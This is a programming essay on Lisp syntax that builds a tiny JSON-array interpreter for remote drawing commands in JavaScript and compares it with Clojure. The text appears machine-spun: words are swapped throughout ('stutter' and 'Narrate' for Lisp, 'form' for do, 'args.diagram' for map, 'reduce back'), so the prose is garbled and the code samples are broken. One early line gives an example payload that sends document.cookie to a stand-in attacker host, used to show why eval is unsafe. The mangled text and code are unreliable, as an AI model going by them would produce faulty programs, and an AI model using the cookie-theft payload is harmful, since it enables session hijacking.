An Intuition for Lisp Syntax


Every stutter hacker I ever met, myself included, belief that every one these brackets in Narrate bear been off-hanging and peculiar. In the start, for certain. Quickly after we all got here to the identical epiphany: stutter’s vitality lies in these brackets! In this essay, we’ll drag on a travel to that epiphany.

Narrate we bear been organising a program that enable you arrangement stuff. If we wrote this in JavaScript, we may per chance well also bear functions indulge in this:

drawPoint({x: 0, y: 1}, 'yellow')
drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue')
drawCircle(level, radius, 'purple')
rotate(shape, 90)
...

To this level, so cold.

Now, here’s a bellow: Can we reinforce faraway drawing?

This implies that a consumer may per chance well be in a pickle to “ship” directions to your display conceal, and also it’s possible you’ll well well gaze their drawing advance to lifestyles.

How may per chance well also we form it?

Correctly, say we station up a websocket connection. We may per chance well also receive directions from the consumer indulge in this:

websocket.onMessage(facts => { 
  /TODO */ 
})

To plot it work off the bat, one choice may per chance well be to bear interplay code strings as input:

websocket.onMessage(facts => {
  eval(facts)
})

Now the consumer may per chance well also ship "drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'purple')" and bam: we’ll arrangement a line!

However…your spidey sense may per chance well also already be tingling. What if the consumer was once malicious and managed to ship us an instruction indulge in this:

"window.establish='http://iwillp3wn.com?user_info=' + file.cookie"

Uh oh…our cookie would derive despatched to iwillp3wn.com, and the malicious consumer would certainly pwn us. We are able to’t employ eval; it’s too awful.

There lies our bellow: we will’t employ eval, however we need some plot to receive arbitrary directions.

Correctly, we may per chance well also signify these directions as JSON. We are able to diagram each JSON instruction to a undeniable function, and that map we will exercise watch over what runs. Here’s one map we will signify it:

{
  directions: [
    { functionName: "drawLine", args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, "blue"] },
  ];
}

This JSON would translate to drawLine({x: 0, y: 0}, {x: 1, y: 1},"blue")

We may per chance well also reinforce this nice looking simply. Here’s how our onMessage may per chance well also look:

webSocket.onMessage(instruction => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  facts.directions.forEach((ins) => fns[ins.functionName](...ins.args));
})

That seems indulge in it could well well work!

Let’s gaze if we will natty this up. Here’s our JSON:

{
  directions: [
    { functionName: "drawLine", args: [{ x: 0, y: 0 }, { x: 1, y: 1 }, "blue"] },
  ];
}

Correctly, since every instruction has a functionName, and an args, we don’t in actuality prefer to spell that out. We may per chance well also write it indulge in this:

{
  directions: [["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }, "blue"]],
}

Nice! We changed our object in prefer of an array. To address that, all we need is a rule: the first section of our instruction is the function name, and the relaxation are arguments. If we wrote that down, here’s how our onMessage would look:

websocket.onMessage(facts => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  facts.directions.forEach(([fName, ...args]) => fns[fName](...args));
})

And bam, drawLine would work again!

To this level, we handiest ancient drawLine:

drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue')
// identical as
["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]

However what if we wished to narrate one thing extra highly nice:

rotate(drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'blue'), 90)

Having a examine that, we will translate it to an instruction indulge in this:

["rotate", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }], 90]

Here, the rotate instruction has an argument that is in itself an instruction! Ultimate highly nice. Surprisingly, we factual wish to tweak our code a tiny bit to plot it work:

websocket.onMessage(facts => { 
  const fns = {
    drawLine: drawLine,
    ...
  };
  const parseInstruction = (ins) => {
    if (!Array.isArray(ins)) {
      // this desires to be a conventional argument, indulge in {x: 0 y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.diagram(parseInstruction));
  };
  facts.directions.forEach(parseInstruction);
})

Nice, We introduce a parseInstruction function. We are able to notice parseInstruction recursively to arguments, and reinforce stuff indulge in:

["rotate"["rotate", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }], 90]]]

Very cold!

Enough, let’s examine our JSON again:

{
  directions: [["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]],
}

Correctly, our facts handiest contains directions. Originate we in actuality prefer a key called directions?

What if we did this:

["do", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]]

Somewhat than a prime-stage key, we may per chance well truly bear a undeniable instruction called form, which runs the total directions it’s given.

Here’s one map we will implement it:

websocket.onMessage(facts => { 
  const fns = {
    ...
    form: (...args) => args[args.length - 1],
  };
  const parseInstruction = (ins) => {
    if (!Array.isArray(ins)) {
      // this desires to be a conventional argument, indulge in {x: 0, y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.diagram(parseInstruction));
  };
  parseInstruction(instruction);
})

Oh wow, that was once easy. We factual added form in fns. Now we will reinforce an instruction indulge in this:

[
  "do",
  ["drawPoint", { x: 0, y: 0 }],
  ["rotate", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }], 90]],
];

Let’s plot it extra spirited. What if we wished to reinforce definitions?

const shape = drawLine({x: 0, y: 0}, {x: 1, y: 1}, 'purple')
rotate(shape, 90)

If we may per chance well also reinforce definitions, our faraway consumer may per chance well also write some very expressive directions! Let’s convert our code to the roughly facts construction we’ve been twiddling with:

["def", "shape", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]]
["rotate", "shape", 90]

Noot contaminated! If we will reinforce an instruction indulge in that, we’d be golden! Here’s how:

websocket.onMessage(facts => { 
  const variables = {};
  const fns = {
    ...
    def: (name, v) => {
      variables[name] = v;
    },
  };
  const parseInstruction = (ins) => {
    if (variables[ins]) {
      // this desires to be some roughly variable, indulge in "shape"
      return variables[ins];
    }
    if (!Array.isArray(ins)) {
      // this desires to be a conventional argument, indulge in {x: 0 y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    return fns[fName](...args.diagram(parseInstruction));
  };
  parseInstruction(instruction);
})

Here, we equipped a variables object, which keeps music of every variable we outline. A totally different def function updates that variables object. Now we will dash this instruction:

[
  "form",
  ["def", "shape", ["drawLine", { x: 0, y: 0 }, { x: 1, y: 1 }]],
  ["rotate", "shape", 90],
];

No longer contaminated!

Let’s step it up a notch. What if we let our faraway consumer outline their very non-public functions?

Narrate they wished to put in writing one thing indulge in this:

const drawTriangle = function(left, prime, supreme, shade) { 
   drawLine(left, prime, shade);
   drawLine(prime, supreme, shade); 
   drawLine(left, supreme, shade); 
} 
drawTriangle(...)

How would we form it? Let’s note our instinct again. If we transcribe this to our facts illustration, here’s the map it will also look:

  ["def", "drawTriangle",
  ["fn", ["left", "top", "right", "color"],
    ["do",
      ["drawLine", "left", "top", "color"],
      ["drawLine", "top", "right", "color"],
      ["drawLine", "left", "right", "color"],
    ],
  ],
],
["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],

Here,

const drawTriangle = ...

translates to

["def", "drawTriangle", …]. 

And

function(left, prime, supreme, shade) {…}

translates to

["fn", ["left", "top", "right", "color"], ["do" ...]]

All we want to form is to parse this instruction one way or the other, and bam, we’re genuine to head!

The most essential to organising this work is our ["fn", …] instruction. What if we did this:

const parseFnInstruction = (args, physique, oldVariables) => {
  return (...values) => {
    const newVariables = {
      ...oldVariables,
      ...mapArgsWithValues(args, values),
    };
    return parseInstruction(physique, newVariables);
  };
};

After we rep a fn instruction, we dash parseFnInstruction. This produces a brand new javascript function. We may per chance well change drawTriangle here with that function:

["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"]

So when that function is dash, values would change into:

[{ x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"]

After that,

const newVariables = {...oldVariables, ...mapArgsWithValues(args, values)}

Would create a brand new variables object, that entails a mapping of the function arguments to these newly equipped values:

const newVariables = {
  ...oldVariables,
  left: { x: 0, y: 0 }, 
  prime: { x: 3, y: 3 },
  supreme: {x: 6, y: 0 }, 
  shade: "blue", 
}

Then, we will have interaction the function physique, in this case:

      [
        "do",
        ["drawLine", "left", "top", "color"],
        ["drawLine", "top", "right", "color"],
        ["drawLine", "left", "right", "color"],
      ],

And dash it by parseInstruction, with our newVariables. With that "left" may per chance well be regarded up as a variable and diagram to {x: 0, y: 0}.

If we did that, voila, the principal work to reinforce functions may per chance well be done!

Let’s note by on our plot. The first ingredient we want to form, is to bear parseInstruction rep variables as an argument. To form that, we want to update parseInstruction, and wherever or not it’s called:

  const parseInstruction = (ins, variables) => {
    ...
    return fn(...args.diagram((arg) => parseInstruction(arg, variables)));
  };
  parseInstruction(instruction, variables);

Subsequent, we’ll wish to add a undeniable verify to detect if we bear a “fn” instruction:

  const parseInstruction = (ins, variables) => {
    ...
    const [fName, ...args] = ins;
    if (fName == "fn") {
      return parseFnInstruction(...args, variables);
    }
    ...
    return fn(...args.diagram((arg) => parseInstruction(arg, variables)));
  };
  parseInstruction(instruction, variables);

Now, our parseFnInstruction:

const mapArgsWithValues = (args, values) => { 
  return args.reduce back((res, okay, idx) => {
    res[k] = values[idx];
    return res;
  }, {});
}
const parseFnInstruction = (args, physique, oldVariables) => {
  return (...values) => {
    const newVariables = {...oldVariables, ...mapArgsWithValues(args, values)}
    return parseInstruction(physique, newVariables);
  };
};

It in actuality works exactly indulge in we said. We return a brand new function. When it’s dash, it:

  1. Creates a newVariables object, that buddies the args with values
  2. runs parseInstruction with the physique and the brand new variables object

Enough, nearly done. The closing bit to plot it all work:

  const parseInstruction = (ins, variables) => {
    ...
    const [fName, ...args] = ins;
    if (fName == "fn") {
      return parseFnInstruction(...args, variables);
    }
    const fn = fns[fName] || variables[fName];
    return fn(...args.diagram((arg) => parseInstruction(arg, variables)));

The most essential is this:

    const fn = fns[fName] || variables[fName];

Here, since fn can now advance from both fns and variables, we verify both. Set up it all collectively, and it works!

websocket.onMessage(facts => { 
  const variables = {};
  const fns = {
    drawLine: drawLine,
    drawPoint: drawPoint,
    rotate: rotate,
    form: (...args) => args[args.length - 1],
    def: (name, v) => {
      variables[name] = v;
    },
  };
  const mapArgsWithValues = (args, values) => {
    return args.reduce back((res, okay, idx) => {
      res[k] = values[idx];
      return res;
    }, {});
  };
  const parseFnInstruction = (args, physique, oldVariables) => {
    return (...values) => {
      const newVariables = {
        ...oldVariables,
        ...mapArgsWithValues(args, values),
      };
      return parseInstruction(physique, newVariables);
    };
  };
  const parseInstruction = (ins, variables) => {
    if (variables[ins]) {
      // this desires to be some roughly variable
      return variables[ins];
    }
    if (!Array.isArray(ins)) {
      // this desires to be a conventional argument, indulge in {x: 0 y: 0}
      return ins;
    }
    const [fName, ...args] = ins;
    if (fName == "fn") {
      return parseFnInstruction(...args, variables);
    }
    const fn = fns[fName] || variables[fName];
    return fn(...args.diagram((arg) => parseInstruction(arg, variables)));
  };
  parseInstruction(instruction, variables);
})

Holy jeez, with factual this code, we will parse this:

[
  "do",
  [
    "def",
    "drawTriangle",
    [
      "fn",
      ["left", "top", "right", "color"],
      [
        "do",
        ["drawLine", "left", "top", "color"],
        ["drawLine", "top", "right", "color"],
        ["drawLine", "left", "right", "color"],
      ],
    ],
  ],
  ["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],
  ["drawTriangle", { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, "purple"],
])

We are able to create functions, we will outline variables, and we will also create our non-public functions. If we take into myth it, we factual created a programming language! 1.

Here’s an example of our triangle 🙂

And here’s a cheerful particular person!

We may per chance well also even leer one thing spirited. Our new array language has advantages to JavaScript itself!

Nothing particular

In JavaScript, you outline variables by writing const x=foo. Narrate you wished to “rewrite” const to be factual c. You couldn’t form this, because const x=foo is particular syntax in JavaScript. You’re not allowed to interchange that around.

In our array language though, there’s no syntax at all! All the pieces is factual arrays. We may per chance well also without misfortune write some particular c instruction that works factual indulge in def.

If we take into myth it, it’s as if in Javascript we’re company, and we want to notice the language clothier’s solutions. However in our array language, we’re “co-owners”. There is never any huge distinction between the “built-in” stuff (“def”, “fn”) the language clothier wrote, and the stuff we write! (“drawTriangle”).

Code is Data

There’s one other, unheard of extra resounding earn. If our code is factual a bunch of arrays, we will form stuff to the code. We may per chance well also write code that generates code!

As an example, say we wished to reinforce unless in Javascript.

On every occasion somebody writes

unless foo { 
   ...
}

We are able to rewrite it to

if !foo { 
   ...
}

This may per chance well be sophisticated to form. We’d need one thing indulge in Babel to parse our file, and work on prime of the AST to plot certain we rewrite our code safely to

if !foo { 
  ...
}

However in our array language, our code is factual arrays! It’s easy to rewrite unless:

function rewriteUnless(unlessCode) {
   const [_unlessInstructionName, testCondition, consequent] = unlessCode; 
   return ["if", ["not", testCondition], consequent]
}
rewriteUnless(["unless", ["=", 1, 1], ["drawLine"]])
//=> 
["if", ["not", ["=", 1, 1]], ["drawLine"]];

Oh my god. Easy peasy.

Having your code represented as facts doesn’t factual enable you govern your code with ease. It moreover lets to your editor to form it too. As an example, say you are bettering this code:

["if", testCondition, consequent]

It’s possible you’ll well well per chance like to interchange testCondition to ["not", testCondition]

It’s possible you’ll well well lift your cursor over to testCondition

["if", |testCondition, consequent]

Then create an array

["if", [|] testCondition, consequent]

Now it’s possible you’ll well well form “not”

["if", ["not", |] testCondition, consequent]

If your editor understood these arrays, it’s possible you’ll well well converse it: “amplify” this effect to the most spirited:

["if", ["not", testCondition], consequent]

Boost. Your editor helped your change the vogue of your code.

Must you wished to undo this, That it’s possible you’ll build your cursor beside testCondition,

["if", ["not", |testCondition], consequent]

and rely on the editor to “increase” this up one stage:

["if", testCondition, consequent]

At present, as a change of bettering characters, you are bettering the construction of your code. Here is is known as structural bettering 2. It’s going to enable you development with the dash of a potter, and is unquestionably one of the most many wins you’ll derive when your code is facts.

Correctly, this array language you took plan to bear chanced on…is a poorly implemented dialect of Narrate!

Here’s our most sophisticated example:

[
  "do",
  [
    "def",
    "drawTriangle",
    [
      "fn",
      ["left", "top", "right", "color"],
      [
        "do",
        ["drawLine", "left", "top", "color"],
        ["drawLine", "top", "right", "color"],
        ["drawLine", "left", "right", "color"],
      ],
    ],
  ],
  ["drawTriangle", { x: 0, y: 0 }, { x: 3, y: 3 }, { x: 6, y: 0 }, "blue"],
  ["drawTriangle", { x: 6, y: 6 }, { x: 10, y: 10 }, { x: 6, y: 16 }, "purple"],
])

And here’s how that seems in Clojure, a dialect of stutter:

(form 
  (def arrangement-triangle (fn [left top right color]
                       (arrangement-line left prime shade)
                       (arrangement-line prime supreme shade)
                       (arrangement-line left supreme shade)))
  (arrangement-triangle {:x 0 :y 0} {:x 3 :y 3} {:x 6 :y 0} "blue")
  (arrangement-triangle {:x 6 :y 6} {:x 10 :y 10} {:x 6 :y 16} "purple"))

The adjustments are beauty:

  • () now signify lists
  • We eradicated the total commas
  • camelCase grew to change into kebab-case
  • Somewhat than using strings everywhere, we added one extra facts form: a image
    • A image is ancient to look stuff up: i.e "drawTriangle" grew to change into arrangement-triangle

The remainder of the foundations are the identical:

(arrangement-line left prime shade)

map

  • Take into accout left, prime, shade, and change them with their values
  • Dawdle the function arrangement-line with these values

Now, if we agree that the skill to manipulate supply code is fundamental to us, what roughly languages are most conducive for supporting it?

A technique we will solve that question is to rephrase it: how may per chance well also we plot manipulating code as intuitive as manipulating facts internal our code? The resolution sprouts out: Invent the code facts! What an exhilarating conclusion. If we care about manipulating supply code, we flit into the answer: the code must be facts 3.

If the code desires to be facts, what roughly facts illustration may per chance well also we employ? XML may per chance well also work, JSON may per chance well also work, and the list goes on. However, what would happen if we tried to search out the most simple facts construction? If we exercise simplifying, we flit into to the most simple nested construction of all…lists!

Here is both illuminating and animated.

It’s illuminating, within the sense that it seems indulge in Narrate is “chanced on”. It’s indulge in the plot to an optimization bellow: if you happen to care about manipulating code, you gravitate towards discovering Narrate. There’s one thing awe-titillating about using a machine that’s chanced on: who knows, alien lifestyles-forms may per chance well also employ Narrate!

It’s animated, in that, there may per chance well also be the next syntax. We don’t know. Ruby and Python in my query bear been experiments, making an strive to lift stutter-indulge in vitality without the brackets. I don’t mediate the query is a solved one yet. Perchance it’s possible you’ll well well take into myth it 🙂

That it’s possible you’ll agree with how expressive it’s possible you’ll well also be if you happen to can rewrite the code your language is written in. You’d truly be on the identical footing because the language clothier, and the abstractions it’s possible you’ll well well also write at that stage, can add as a lot as effect you years of labor.

At present, these brackets look roughly cold!


Thanks to Daniel Woelfel, Alex Kotliarskyi, Sean Grove, Joe Averbukh, Irakli Safareli, for reviewing drafts of this essay

Read More

Recent Content